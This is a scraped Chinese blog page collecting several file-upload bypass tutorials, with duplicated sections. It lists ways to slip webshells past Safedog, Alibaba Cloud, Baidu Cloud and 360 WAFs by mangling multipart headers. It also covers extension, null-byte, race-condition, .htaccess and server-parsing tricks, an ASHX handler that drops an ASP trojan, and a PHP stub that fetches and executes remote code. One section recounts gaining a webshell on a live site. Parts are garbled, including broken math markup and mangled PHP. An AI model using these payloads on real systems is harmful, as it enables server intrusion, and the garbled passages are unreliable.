精华内容
下载资源
问答
  • 上传绕过
    2021-03-23 12:07:48

    WAF绕过

    1.绕过思路:对文件的内容,数据。数据包进行处理。

    关键点在这里Content-Disposition: form-data; name=“file”; filename=“ian.php”

    将form-data; 修改为~form-data;

    2.通过替换大小写来进行绕过

    Content-Disposition: form-data; name=“file”; filename=“yjh.php”

    Content-Type: application/octet-stream

    将Content-Disposition 修改为content-Disposition

    将 form-data 修改为Form-data

    将 Content-Type 修改为content-Type

    3.通过删减空格来进行绕过

    Content-Disposition: form-data; name=“file”; filename=“yjh.php”

    Content-Type: application/octet-stream

    将Content-Disposition: form-data 冒号后面 增加或减少一个空格

    将form-data; name=“file”; 分号后面 增加或减少一个空格

    将 Content-Type: application/octet-stream 冒号后面 增加一个空格

    4.通过字符串拼接绕过

    看Content-Disposition: form-data; name=“file”; filename=“yjh3.php”

    将 form-data 修改为 f+orm-data

    将 from-data 修改为 form-d+ata

    6.HTTP header 属性值绕过

    Content-Disposition: form-data; name=“file”; filename=“yjh.php”

    我们通过替换form-data 为*来绕过

    Content-Disposition: *; name=“file”; filename=“yjh.php”

    7.HTTP header 属性名称绕过

    源代码:

    Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png"Content-Type: image/png

    绕过内容如下:

    Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png

    C.php”

    删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.

    8.等效替换绕过

    原内容:

    Content-Type: multipart/form-data; boundary=---------------------------471463142114

    修改后:

    Content-Type: multipart/form-data; boundary =---------------------------471463142114

    boundary后面加入空格。

    9.修改编码绕过

    使用UTF-16、Unicode、双URL编码等等

    MIME类型绕过

    上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

    多次上传Win特性绕过

    多次上传同一个文件,windows会自动更新补全TEST (1).php。

    有时会触发条件竞争,导致绕过。

    条件竞争绕过

    通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

    CONTENT-LENGTH绕过

    针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

    文件内容检测绕过

    针对文件内容检测的绕过,一般有两种方式

    1.制作图片马

    2.文件幻术头绕过

    垃圾数据填充绕过

    修改HTTP请求,再之中加入大量垃圾数据。

    黑名单后缀绕过

    文件扩展名绕过

    Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

    ashx上传绕过

    cer,asa,cdx等等无法使用时候。

    解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put

    using System;

    using System.Web;

    using System.IO;

    public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {

    context.Response.ContentType = "text/plain";

    //这里会在目录下生成一个test.asp的文件

    StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));

    //这里是写入一句话木马 密码是:ptu

    file1.Write("");

    file1.Flush();

    file1.Close();

    }

    public bool IsReusable {

    get {

    return false;

    }

    }

    }

    特殊文件名绕过

    比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式

    在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会

    被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

    Windows流特性绕过

    php在windows的时候如果文件名+"::D A T A " 会 把 : : DATA"会把::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

    白名单后缀绕过

    00截断绕过上传

    php .jpg 空格二进制20改为00

    解析漏洞

    1.1、IIS6.0解析漏洞

    1.目录解析

    –创建/xx.asp/,上传图片马,即路径为:/xx.asp/xx.jpg,打开图片会被当着脚本来解析

    ,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

    2、分号解析

    –nfck.asp;.jpg(其他类型nfck.php/.jpg nfck.php.jpg)

    在IIS6.0下,分号后面的不被解析,会被服务器看成是xx.asp

    3、畸形文件名解析

    上传.asa.cer.cdx.asax这四种文件格式也会被当着asp脚本来解析

    1.2Apache解析漏洞

    Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

    比如nfck.php.owf.rar ".owf"和“.rar”这两种后缀是Apache不可识别解析,Apache就会把该文件解析成PHP

    如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个nfck.php.rara.jpg.png…

    把知道的后缀都写一遍,去测试是否为合法后缀

    任意不识别的后缀,自动向上识别

    比如禁止上传的文件格式为PHP\ASP\ASPX\ASA等

    那么把上传的文件这样写,X.PHP.NFCK

    让后面的后缀名识别不了,就上传了一个X.PHP的文件

    也可以直接将文件改成X.PHP. 后面加个点,或加个下划线_

    1.3、IIS7.0/7.5/Nginx<8.03岖形解析漏洞

    Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的…在默认Fast-CGI开启状况下,黑阔上传一个名字为cracer.jpg,

    内容为 ');?>

    的文件,

    然后访问cracer.jpg/.php,在这个目录下就会生成一句话木马 shell.php

    注:不仅仅是iis7.0/7.5,只要Fast-CGI开启状况下都可以利用该漏洞

    1.4htaccess文件解析

    一般为留后门使用,如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入:

    SetHandler application/x-httpd-php

    然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件

    1.5双文件上传

    条件:

    接受两个文件同时上传

    只检测了第一个文件扩展名

    动易、南方、良精等CMS存在该漏洞

    用burpsuite抓包,然后将请求头部分下面的内容负责,开头为-----,结尾为----------

    其他地方不用负责,然后粘贴到第一个文件结尾-------后面,把第二个文件开头------去掉

    将第一个文件的name=xxxx修改为name=xxxx1,修改文件名为cer或者asa等即可上传成功

    前端限制绕过

    1.使用BURP抓包修改后重放

    2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

    下载绕过

    远程下载文件绕过

    文件包含绕过

    上传图片木马

    x = x=x=_GET[‘x’];

    include($x);

    访问图片地址

    更多相关内容
  • 绕过WAF进行文件上传的文旦,可以学习一些姿势加以利用。
  • 文件上传绕过上传接口bypass

    前言

    我是来总结的,嘀嘀嘀开车了!!!

    0x00 测试上传正常文件

    这里可以判定文件名虽然是重命名,但是可控的,因为我们上传的文件名被带进去了(*_1.txt)这里利用的思路主要:

    1.目录没有执行权限(通过控制文件名进行../../跳目录,跳到可以执行脚本语言的目录)

    2.上传文件找不到路径(通过控制文件名进行../../跳目录,层级跳到根目录进行访问)

    3.上传白名单截断 (有些文件上传处是白名单,后缀名不可以绕,可以利用控制文件名截断的方式去绕过白名单,例如1.jsp%00.jpg)

    4.截断文件前置名(这里后面会详细讲)

    0x01 测试上传非正常文件

    这里主要观察是不是黑名单,或者说是没有限制名单,下图可以看到,上传tx格式是可以正常上传的,但是上传jsp文件就上传不成功

    如果上传tx可以上传,但是jsp不可以,可以判断为上传黑名单,这里可以尝试绕黑名单的一下后缀格式,常见的绕黑名单的后缀格式有:

    aspx&asp:ashx、asa、asmx、cer

    php: php3、phtml

    jsp:jspx、jspf

    这里简单列举几个,具体详细的我之前发的文章有,这里补充一个小知识点,假如站点为php的站点,但是只限制了php的后缀格式,我们这里可以利用别的脚本语言都测试一下,因为可能这个服务器可以运行多种语言,虽然概率比较低,但是没有好的绕过办法的时候可以试一下,万一成功了呢,我在项目中就碰到过这种情况

    上传tx后缀,上传成功:

    上传jsp 上传失败:

    0x02 绕过测试

    这里主要讲一下常见的一些绕上传的方法,这个是朋友给的站,我也不知道能不能绕过去,我也是一边绕一边记录着,是我绕上传的一个基本的思路,给大家学习一下

    上面测试了,上传黑名单,我们就先测试一下绕上传后缀

    1.jspx绕过,失败,测试了别的php什么的都不可以,限制的比较全,html都不可以。

    2.截断绕过

    这里可以尝试 :,;、%00、’、^ 等都可以,这几种方法在windows服务器上成功率是比较高的,因为windows在创建文件的时候这些特殊字符是不允许出现的

    最后测试利用 “:”截断成功了,但是很遗憾,虽然传上去了,也可以访问到,但是内容没有写进去,这就是利用:截断的一个弊端,只有文件,没有内容

    3.利用跳目录

    因为文件名可以控制,我们就可以利用../跳目录的方式去截断代码本身给添加的前置名,就此系统为例,我们上传1.txt,代码会自动给我们添加2022_06_20_1.txt,这里的利用思路就是上传配合解析的配置文件,例如上传.htaccess配合解析,当然这里实战应用的场景还有很多,只是提供一个思路

    我们这里也是成功截断前置名,并且跳到上层目录了,但是在此服务器这种方法并不是很好用,因为是java的站,利用此方式暂时没有好的getshell的方法,这里只是提供一下思路

    0x03 其他上传点继续测试

    饶了半天始终是绕不过去,也不想绕了,但是文章都写到这里了,不能白白写啊,又问朋友要了个账号,测试一下后台有没有别的上传

    功夫不负有心人,文章得以继续了

    确实发现了另一个上传点

    这个上传点比较有意思,后缀可以用大小写直接绕过

    这不直接get了吗?

    然而并不是,访问文件目录404?

    通过查看附件的功能发现,查看附件处是用base64加密的一个绝对物理路径

    这里就直接运用我们之前的跳目录,通过报错找到网站的真实路径(也有其他方法查找真实路径,我这里是用的报错),直接上传

    但是不妙呀!1.jsP访问直接下载呀!JSPX也是 

    这里就体现出我们之前跳目录加截断文件前置名的作用了

    之前我们第一个上传点 ,可以利用:截断,上传jsp,但是文件内容传不上去,然后利用第二个上传点再上传一次同样文件名的文件 (1.jsp|1.jsP)

    因为windows不区分大小写,所以就导致我们后面上传的1.jsP直接就把内容覆盖到1.jsp上面去了

    最终获得大马一枚

    0x04 总结

    对此篇文章做个学习总结:

    1、上传绕过中,分清楚是代码级限制,还是WAF级限制,进行不同方式的绕过

    一些基础的WAF绕过手法,可以看下AZ师傅写的文章:
    (1)https://blog.csdn.net/weixin_44578334/article/details/112393475 (Bypass WAF)

    (2)https://blog.csdn.net/weixin_44578334/article/details/105842233 (文件上传漏洞绕过)

    2、注意一些细节点:

    (1)在目录跳跃时,注意使用”///”,进行防止转移,细节拿捏。

    upload1:Content-Disposition: form-data; name="file"; filename="///..\..\..\..\333.jsp:.txt"
    upload2:Content-Disposition: form-data; name="file";filename="///\..\..\..\..\..\..\..\\tomcat\tomcat-XXX\webapps\XXX\333.jsP"
    upload3:Content-Disposition: form-data; name="file"; filename="///..\..\..\..\666666.jsp:.txt"

    (2)目录跳跃时,这里配合一个伪协议点:file,在渗透过程中遇到了,可以尝试别的协议是否能直接shell,如果不能shell,尝试获取网站的根目录,如果不细心,这个站的目录,就会以为时站和文件目录分离。

    (3)上传绕过配合,两个小点,第一个上传点能使用冒号”:”,进行截断,然后上传成功jsp文件,但是缺陷就是,截断后的文件,内容无法post上去,配合第二个上传点(即使不解析,但内容可被送达文件),windows下不区分大小写,所以会进行内容覆盖,正好两个上传点配合,使上传点二的内容恰好覆盖到上传点1上传的正常文件里,完美解决上传问题。

    转载请注明:Adminxe's Blog » 文件上传绕过的一次思路总结(两个上传点组合Getshell)

    展开全文
  • 文件上传绕过总结

    2021-08-06 20:56:48
    上传绕过总结对于常见的上传绕过姿势进行总结。包含WAF绕过、安全狗绕过、黑名单绕过、白名单绕过、阿里云绕过以及多种绕过手法。WAF绕过安全狗绕过1.绕过思路:对文件的内容,数据。数据包进行处理。关键点在这里...

    上传绕过总结

    对于常见的上传绕过姿势进行总结。包含WAF绕过、安全狗绕过、黑名单绕过、白名单绕过、阿里云绕过以及多种绕过手法。

    WAF绕过

    安全狗绕过

    1.绕过思路:对文件的内容,数据。数据包进行处理。

    关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
    将form-data;            修改为~form-data;

    2.通过替换大小写来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将Content-Disposition    修改为content-Disposition
    将 form-data            修改为Form-data
    将 Content-Type         修改为content-Type

    3.通过删减空格来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将Content-Disposition: form-data          冒号后面 增加或减少一个空格
    将form-data; name="file";                分号后面 增加或减少一个空格
    将 Content-Type: application/octet-stream   冒号后面 增加一个空格

    4.通过字符串拼接绕过

    看Content-Disposition: form-data; name="file"; filename="yjh3.php"
    将 form-data 修改为   f+orm-data
    将 from-data 修改为   form-d+ata

    5.双文件上传绕过

    <form action="https://www.xxx.com/xxx.asp(php)" method="post"
    name="form1" enctype="multipart/form‐data">
    <input name="FileName1" type="FILE" class="tx1" size="40">
    <input name="FileName2" type="FILE" class="tx1" size="40">
    <input type="submit" name="Submit" value="上传">
    </form>

    6.HTTP header 属性值绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    我们通过替换form-data 为*来绕过
    Content-Disposition: *; name="file"; filename="yjh.php"

    7.HTTP header 属性名称绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    C.php"
    删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

    8.等效替换绕过

    原内容:
    Content-Type: multipart/form-data; boundary=---------------------------471463142114
    修改后:
    Content-Type: multipart/form-data; boundary =---------------------------471463142114
    boundary后面加入空格。

    9.修改编码绕过

    使用UTF-16、Unicode、双URL编码等等

    WTS-WAF 绕过上传

    原内容:
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    添加回车
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    

    百度云上传绕过

    百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
    Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

    阿里云上传绕过

    源代码:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
    修改如下:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
    没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

    360主机上传绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    Content-Disposition 修改为 Content-空格Disposition

    MIME类型绕过

    上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

    文件内容检测绕过

    抓包,在正常图片末尾添加一句话木马

    多次上传Win特性绕过

    多次上传同一个文件,windows会自动更新补全TEST (1).php。
    有时会触发条件竞争,导致绕过。

    条件竞争绕过

    通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

    CONTENT-LENGTH绕过

    针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

    文件内容检测绕过

    针对文件内容检测的绕过,一般有两种方式,
    1.制作图片马
    2.文件幻术头绕过

    垃圾数据填充绕过

    修改HTTP请求,再之中加入大量垃圾数据。

    黑名单后缀绕过

    文件扩展名绕过

    Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

    ashx上传绕过

    cer,asa,cdx等等无法使用时候。
    解析后就会生成一个test.asp的马,你就可以连接这个test.asp  密码为:put
    <%@ WebHandler Language="C#" Class="Handler" %>
    using System;
    using System.Web;
    using System.IO;
    public class Handler : IHttpHandler {
    
    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";
    
        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
        //这里是写入一句话木马   密码是:ptu
        file1.Write("&lt;%response.clear:execute request("put"):response.End%&gt;");
        file1.Flush();
        file1.Close();       
    }
    public bool IsReusable {
        get {
            return false;
        }
    }
    

    }

    特殊文件名绕过

    比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
    在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
    被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

    Windows流特性绕过

    php在windows的时候如果文件名+"::
          
           
            
             
              D
             
             
              A
             
             
              T
             
             
              A
             
             
              "
             
             
              会
             
             
              把
             
             
              :
             
             
              :
             
            
            
             DATA"会把::
            
           
          DATA"::DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

    白名单后缀绕过

    00截断绕过上传

    php .jpg   空格二进制20改为00
    IIS 6.0 目录路径检测解析绕过
    上传路径改为
    XXX/1.asp/

    htaccess解析漏洞

    上传的jpg文件都会以php格式解析
    .htaccess内容:
    AddType application/x-httpd-php .jpg

    突破MIME限制上传

    方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

    Apache解析漏洞

    1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
    2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

    IIS解析漏洞

    IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
    那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
    会优先按asp来解析
    IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
    后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

    Nginx解析漏洞

    解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
    的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

    解析漏洞

    Content-Disposition: form-data; name=“file”;  filename=php.php;.jpg

    前端限制绕过

    1.使用BURP抓包修改后重放
    2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

    下载绕过

    远程下载文件绕过

    <?php
    $str = file_get_contents(‘http://127.0.0.1/ian.txt’);
    s t r ( str( str(_post[‘ian’]);
    ?>

    文件包含绕过

    上传图片木马
    x = x= x=_GET[‘x’];
    include($x);
    访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

    展开全文
  • 文件上传绕过

    2021-11-19 10:33:29
    文件上传绕过 文件名绕过 我们可以通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过这种类型的验证。 绕过黑白名单策略: 黑名单绕过 文件名大小写绕过 用像 AsP,pHp 之类的文件名绕过黑名单检测 名单...

    文件上传绕过

    文件名绕过

    我们可以通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过这种类型的验证。

    绕过黑白名单策略:

    黑名单绕过

    文件名大小写绕过

    用像 AsP,pHp 之类的文件名绕过黑名单检测

    名单列表绕过

    能被解析的文件扩展名列表:

    jsp jspx jspf

    asp asa cer aspx cdx

    php php php3 php4

    exe exee

    特殊文件名绕过

    比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性
    .htaccess绕过
    判断是否支持.htaccess

    第一:检测 apache是否开启mod_rewrite
    通过php提供的phpinfo()函数查看环境配置,在"apache2handler —> Loaded Modules"里看是否有"mod_rewrite"模块,如没开启则在apache配置文件httpd.conf 中找到"#LoadModule rewrite_module modules/mod_rewrite.so"去掉前面的"#"号,重启apache即可
    第二:检测apache是否支持 ".htaccess"
     
    如测试中不支持".htaccess",那在apache配置文件httpd.conf 中找到"<Directory />"与"</Directory>"内的"AllowOverride None"改为"AllowOverride All",重启apache即可
     
    {让apache服务器支持.htaccess,如何让自己的本地Apache服务器支持”.htaccess”呢?其实只要简单修改一下apache的httpd.conf设置就可以让支持.htaccess了。打开httpd.conf文件,用文本编辑器打开后查找
     
    Options FollowSymLinks
    AllowOverride None
     
    改为
     
    Options FollowSymLinks
    AllowOverride All
     
    就是把None修改为All}
    第三:创建.htaccess 文件
    创建.htaccess 文件方法:新建文本文档,名字为"htaccess.txt",再打开"htaccess.txt"另存为,此时注意,名称改为 "".htaccess""保存即可
    第四:测试伪静态实例
    .htaccess文件中输入:
    RewriteEngine on
    RewriteRule ([a-zA-Z])-([0-9])-([0-9])\.html$ index.php?action=&id=&page=
    新建index.php文件并输入:
    <?php
    echo 'action='.$_GET['action'];
    echo '<br>id='.$_GET['id'];
    echo '<br>page='.$_GET['page'];
    ?>
    在地址栏中输入 http://127.0.0.1/view-8-2.html 按回车将显示出参数:
    action=view
    id=8
    page=2
    

    1、上传.htaccess 必须是网站根路径

    让JPG解析为php

    2.留后门 可以在.htaccess 加入php解析规则

    类似于把文件名包含1的解析成php

    <FilesMatch "1">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    上传1.jpg就会将JPG当作PHP执行
    点空格点(. .)绕过
    (Windows会自动去掉后缀名末尾的点号和空格,Linux不会自动去除后缀名的点号和空格,故Windows搭的服务器才能用该方法)

    ::$DATA绕过(Windows才能用该方法,原理在文中介绍)

    在php+windows的情况下:如果文件名+ :: D A T A , : : DATA, :: DATA,::DATA之后的数据当成文件流处理,不会检测后缀名 且保持" :: D A T A " 之 前 的 文 件 名 。 如 果 这 是 我 们 在 w i n d o w s 下 搭 建 的 环 境 的 话 , 我 们 在 文 件 末 尾 加 入 : : DATA"之前的文件名。如果这是我们在windows下搭建的环境的话,我们在文件末尾加入 :: DATA"windows::DATA即可绕过上传。
    :: D A T A 绕 过 原 理 : N T F S 文 件 系 统 包 括 对 备 用 数 据 流 的 支 持 。 这 不 是 众 所 周 知 的 功 能 , 主 要 包 括 提 供 与 M a c i n t o s h 文 件 系 统 中 的 文 件 的 兼 容 性 。 备 用 数 据 流 允 许 文 件 包 含 多 个 数 据 流 。 每 个 文 件 至 少 有 一 个 数 据 流 。 在 W i n d o w s 中 , 此 默 认 数 据 流 称 为 : DATA绕过原理:NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为: DATANTFSMacintoshWindows DATA。上传.php::$DATA绕过。(仅限windows)

    白名单绕过

    通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。
    0x00截断
    这里有一个问题,为什么get型提交方式时%00不需要解码,而post型为什么要解码
    在这里插入图片描述
    1、get会自动对接受的参数进行解码,解码后就变为0x00
    2、post对提交的数据不会自动解码,所以在发送数据的时候进行编码为0x00
    所以说00截断的原理都是通过0x00发挥截断作用,只是在post中称为0x00截断,在get中称为%00截断。
    具体可以参考这篇文章:
    https://www.pianshen.com/article/7918834959/
    截断的核心,就是chr(0)这个字符,这个字符不为空(Null),也不是空字符(""),更不是空格。 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生 。
    文件相关信息检测
    一般就是检查图片文件的大小,图片文件的尺寸之类的信息,常用getimagesize()函数
    Apache解析漏洞

    1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
    2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。
    IIS解析漏洞
    IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
    那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
    会优先按asp来解析
    IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
    后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
    

    Nginx解析漏洞

    解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
    描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
    的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
    

    下载绕过
    远程下载文件绕过

    <?php
    $str = file_get_contents('http://127.0.0.1/ian.txt');
    $str($_post['ian']);
    ?>
    

    文件包含绕过

    上传图片木马
    $x=$_GET['x'];
    include($x);
    访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
    

    WAF绕过

    安全狗绕过

    1.绕过思路:对文件的内容,数据。数据包进行处理。

    关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
    将form-data;            修改为~form-data;
    

    2.通过替换大小写来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将Content-Disposition    修改为content-Disposition
    将 form-data            修改为Form-data
    将 Content-Type         修改为content-Type
    

    3.通过删减空格来进行绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    Content-Type: application/octet-stream
    将Content-Disposition: form-data          冒号后面 增加或减少一个空格
    将form-data; name="file";                分号后面 增加或减少一个空格
    将 Content-Type: application/octet-stream   冒号后面 增加一个空格
    

    4.通过字符串拼接绕过

    看Content-Disposition: form-data; name="file"; filename="yjh3.php"
    将 form-data 修改为   f+orm-data
    将 from-data 修改为   form-d+ata
    

    5.双文件上传绕过

    <form action="https://www.xxx.com/xxx.asp(php)" method="post"
    name="form1" enctype="multipart/form‐data">
    <input name="FileName1" type="FILE" class="tx1" size="40">
    <input name="FileName2" type="FILE" class="tx1" size="40">
    <input type="submit" name="Submit" value="上传">
    </form>
    

    6.HTTP header 属性值绕过

    Content-Disposition: form-data; name="file"; filename="yjh.php"
    我们通过替换form-data 为*来绕过
    Content-Disposition: *; name="file"; filename="yjh.php"
    

    7.HTTP header 属性名称绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    C.php"
    删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
    

    8.等效替换绕过

    原内容:
    Content-Type: multipart/form-data; boundary=---------------------------471463142114
    修改后:
    Content-Type: multipart/form-data; boundary =---------------------------471463142114
    boundary后面加入空格。
    

    9.修改编码绕过

    使用UTF-16、Unicode、双URL编码等等
    

    WTS-WAF 绕过上传

    原内容:
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    添加回车
    Content-Disposition: form-data; name="up_picture"; filename="xss.php"
    

    百度云上传绕过

    百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
    Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
    
    

    阿里云上传绕过

    源代码:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
    修改如下:
    Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
    没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
    

    360主机上传绕过

    源代码:
    Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
    Content-Disposition 修改为 Content-空格Disposition
    

    MIME类型绕过

    上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过
    

    条件竞争绕过

    通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
    
    展开全文
  • 原始默认状态: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content­Disposition: form­data; name=”filepath”; filename="backlion.asp” Content­Type: text/html 突破0,文件名前缀加[0x09]绕过: ——...
  • 文件上传绕过方法

    千次阅读 2021-10-22 16:16:15
    简介 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。 这里上传的文件可以是木马,...1、通过禁用js绕过检查,进行文
  • 任意文件上传绕过

    2021-04-28 02:37:48
    1、客户端:js检查1、客户端检测绕过(javascript 检测) 首先观察到提示只允许上传图片文件,那么前端的查看代码,当页面发生改变时,会调用这个checkFileExt函数来检查上传的是不是图片,我们只需要在前端将...
  • 服务器安全狗是一款集服务器安全防护和安全管理为一体的综合性服务器工具。支持Windows全系列操作系统(Windows2003/Windows2008/Windows2012 32位 64位)、Linux...这篇文档总结了一些安全狗上传绕过经验,供参考。
  • 一、文件上传绕过: 方法一:等号绕过:在filename后面夹两个== 方法二:换行绕过:在文件后缀名处换行 方法三:填充垃圾字符 方法四五试过没有成功: 方法四:突破0,文件名前缀加[0x09]绕过 ...
  • 这篇文章主要介绍了关于文件上传绕过黑名单的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下本关主要通过设置上传后缀,限制asp,php,jsp 等后缀,不允许上传。姿势一:本次绕过方式为修改...
  • 文件上传绕过 我这里就分为两种吧,一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更...
  • 借助.htaccess上传绕过

    2022-05-17 14:11:51
    借助.htaccess上传绕过
  • 绕过限制上传文件

    2018-10-05 10:14:01
